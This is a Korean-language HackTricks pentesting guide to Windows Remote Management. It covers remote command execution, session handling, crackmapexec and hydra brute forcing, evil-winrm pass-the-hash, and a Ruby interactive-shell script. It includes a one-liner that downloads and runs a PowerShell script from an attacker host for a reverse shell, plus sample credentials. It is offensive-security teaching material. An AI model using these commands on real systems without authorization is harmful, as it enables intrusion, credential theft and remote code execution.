hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
2024-02-10 21:30:13 +00:00

18 KiB
Raw Blame History

5985,5986 - WinRM 펜테스팅

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

경험있는 해커와 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 인사이트
해킹의 스릴과 도전을 다루는 콘텐츠와 상호작용하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 받아보세요.

Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

WinRM

Windows 원격 관리 (WinRM)은 Microsoft에서 강조하는 프로토콜으로, HTTP(S)를 통해 Windows 시스템의 원격 관리를 가능하게 합니다. 이는 WMI를 기반으로 하며, WMI 작업을 위한 HTTP 기반 인터페이스로 제공됩니다.

WinRM이 설치된 컴퓨터에서는 SSH가 다른 운영 체제에서 작동하는 것과 유사하게 PowerShell을 통해 간편한 원격 관리가 가능합니다. WinRM이 작동하는지 확인하기 위해 특정 포트의 개방 여부를 확인하는 것이 권장됩니다:

  • 5985/tcp (HTTP)
  • 5986/tcp (HTTPS)

위 목록에서 개방된 포트는 WinRM이 설정되어 있음을 나타내며, 원격 세션을 시작할 수 있는 시도를 허용합니다.

WinRM 세션 시작하기

PowerShell을 WinRM에 구성하기 위해 Microsoft의 Enable-PSRemoting cmdlet을 사용하여 컴퓨터를 원격 PowerShell 명령을 수락할 수 있도록 설정합니다. 상승된 PowerShell 액세스로 다음 명령을 실행하여 이 기능을 활성화하고 임의의 호스트를 신뢰할 수 있도록 지정할 수 있습니다.

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

이 접근 방식은 trustedhosts 구성에 와일드카드를 추가하는 것을 포함하며, 이는 그 영향을 고려해 신중히 고려해야 합니다. 또한, 공격자의 컴퓨터에서 "Public"에서 "Work"로 네트워크 유형을 변경해야 할 수도 있습니다.

또한, WinRM은 다음과 같이 wmic 명령을 사용하여 원격으로 활성화될 수 있습니다:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

이 방법은 원격으로 WinRM을 설정하여 원격에서 Windows 기기를 관리하는 유연성을 향상시킵니다.

구성 확인

공격 기기의 설정을 확인하기 위해 Test-WSMan 명령을 사용하여 대상이 WinRM이 올바르게 구성되었는지 확인합니다. 이 명령을 실행하면 프로토콜 버전과 wsmid에 대한 세부 정보를 받을 수 있으며, 이는 구성이 성공적으로 이루어졌음을 나타냅니다. 아래는 구성된 대상과 구성되지 않은 대상에 대한 예상 출력을 보여주는 예시입니다:

  • 올바르게 구성된 대상의 경우, 출력은 다음과 유사할 것입니다:
Test-WSMan <target-ip>

응답에는 WinRM이 올바르게 설정되어 있는지를 나타내는 프로토콜 버전과 wsmid에 대한 정보가 포함되어야 합니다.

  • 반대로, WinRM이 구성되지 않은 대상의 경우에는 해당하는 자세한 정보가 없으므로 올바른 WinRM 설정의 부재가 강조됩니다.

명령 실행

대상 컴퓨터에서 원격으로 ipconfig를 실행하고 출력을 보려면 다음을 수행하세요:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

또한 Invoke-Command를 통해 현재 PS 콘솔에서 명령을 실행할 수도 있습니다. 로컬에 _enumeration_이라는 함수가 있고 이를 원격 컴퓨터에서 실행하려면 다음과 같이 할 수 있습니다:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

스크립트 실행

To execute a script on a target machine through WinRM, you can use the Invoke-Command cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.

Here is an example of how to execute a script using Invoke-Command:

Invoke-Command -ComputerName <target_ip> -ScriptBlock { <script_content> }

Replace <target_ip> with the IP address of the target machine and <script_content> with the actual content of your script.

Make sure that WinRM is enabled on the target machine and that you have the necessary permissions to execute scripts remotely.

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

리버스 쉘 획득

To get a reverse shell on a target machine, you can follow these steps:

  1. Generate a payload: Use a tool like msfvenom to generate a reverse shell payload. Specify the IP address and port where you want to receive the shell connection.

  2. Set up a listener: Start a listener on your machine using a tool like netcat or Metasploit's multi/handler module. This will listen for incoming connections from the target machine.

  3. Execute the payload: Transfer the payload to the target machine and execute it. This can be done through various methods, such as exploiting a vulnerability or using social engineering techniques.

  4. Establish the connection: Once the payload is executed on the target machine, it will attempt to connect back to your listener. If successful, you will have a reverse shell session, allowing you to interact with the target machine's command prompt.

Remember to use these techniques responsibly and only on systems you have permission to test.

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

PS 세션 얻기

대화형 PowerShell 셸을 얻으려면 Enter-PSSession을 사용하세요:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

세션은 "피해자" 내에서 새로운 프로세스(wsmprovhost)에서 실행됩니다.

WinRM 강제로 열기

PS Remoting과 WinRM을 사용하려면 컴퓨터가 구성되어 있지 않은 경우 다음과 같이 활성화할 수 있습니다:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

세션 저장 및 복원

원격 컴퓨터에서 언어제한되어 있는 경우에는 이 방법이 작동하지 않습니다.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

이 세션에서는 _Invoke-Command_를 사용하여 PS 스크립트를 로드할 수 있습니다.

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

오류

다음과 같은 오류를 발견하면:

enter-pssession : 원격 서버 10.10.10.175에 대한 연결에 실패했습니다. 다음 오류 메시지와 함께 실패했습니다. WinRM 클라이언트는 요청을 처리할 수 없습니다. 인증 체계가 Kerberos와 다른 경우 또는 클라이언트 컴퓨터가 도메인에 가입되어 있지 않은 경우 HTTPS 전송을 사용하거나 대상 컴퓨터를 TrustedHosts 구성 설정에 추가해야 합니다. TrustedHosts 목록에 있는 컴퓨터는 인증되지 않을 수 있습니다. 다음 명령을 실행하여 관련 정보를 얻을 수 있습니다. winrm help config. 자세한 정보는 about_Remote_Troubleshooting 도움말 주제를 참조하십시오.

클라이언트에서 다음을 시도하십시오 (정보는 여기에서 얻음):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

HackenProof Discord 서버에 가입하여 경험있는 해커와 버그 바운티 헌터들과 소통하세요!

해킹 인사이트
해킹의 스릴과 도전에 대해 깊이 파고드는 콘텐츠와 상호작용하세요.

실시간 해킹 뉴스
실시간 뉴스와 인사이트를 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 최신 정보를 받아보세요.

**Discord**에 가입하여 최고의 해커들과 협업을 시작하세요!

리눅스에서의 WinRM 연결

무차별 대입 공격

주의하세요, WinRM의 무차별 대입 공격은 사용자를 차단할 수 있습니다.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

악성-winrm 사용하기

Evil-winrm은 Ruby로 작성된 원격 관리 도구로, Windows 원격 관리(Remote Management) 서비스(Remote Management Service, WinRM)를 악용하여 원격 시스템에 액세스하는 데 사용됩니다. 이 도구는 WinRM을 통해 인증된 사용자로 로그인하고 명령 실행, 파일 전송 등 다양한 작업을 수행할 수 있습니다.

Evil-winrm을 사용하여 원격 시스템에 접속하려면 다음 명령을 실행합니다:

evil-winrm -i <target-ip> -u <username> -p <password>
  • <target-ip>: 대상 시스템의 IP 주소입니다.
  • <username>: 유효한 사용자 계정의 이름입니다.
  • <password>: 해당 사용자 계정의 암호입니다.

위 명령을 실행하면 Evil-winrm이 대상 시스템에 연결되고, 명령 프롬프트와 유사한 인터페이스를 제공합니다. 이제 원격 시스템에서 명령을 실행하거나 파일을 전송할 수 있습니다.

Evil-winrm은 WinRM 서비스가 활성화되어 있는 시스템에서만 작동하므로, 대상 시스템에서 WinRM이 활성화되어 있는지 확인해야 합니다.

gem install evil-winrm

문서를 읽으세요: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

IPv6 주소에 연결하기 위해 evil-winrm을 사용하려면 /etc/hosts 내에 도메인 이름을 IPv6 주소에 설정하고 해당 도메인에 연결하십시오.

evil-winrm을 사용하여 해시 전달하기

evil-winrm -u <username> -H <Hash> -i <IP>

PS-docker 머신 사용하기

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

루비 스크립트 사용

다음 코드는 여기에서 추출되었습니다: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

참고 자료

HackTricks 자동 명령어

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

HackenProof Discord 서버에 가입하여 경험 많은 해커와 버그 바운티 헌터들과 소통하세요!

해킹 인사이트
해킹의 스릴과 도전에 대해 깊이 파고들 수 있는 콘텐츠와 상호작용하세요.

실시간 해킹 뉴스
실시간 뉴스와 인사이트를 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 최신 정보를 받아보세요.

**Discord**에 가입하여 최고의 해커들과 협업을 시작하세요!

**htARTE (HackTricks AWS Red Team Expert)**로 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법: